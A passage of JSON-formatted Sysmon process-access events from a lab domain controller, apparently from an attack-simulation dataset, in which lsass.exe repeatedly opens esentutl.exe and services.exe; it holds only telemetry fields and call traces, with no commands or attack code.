11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5457,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 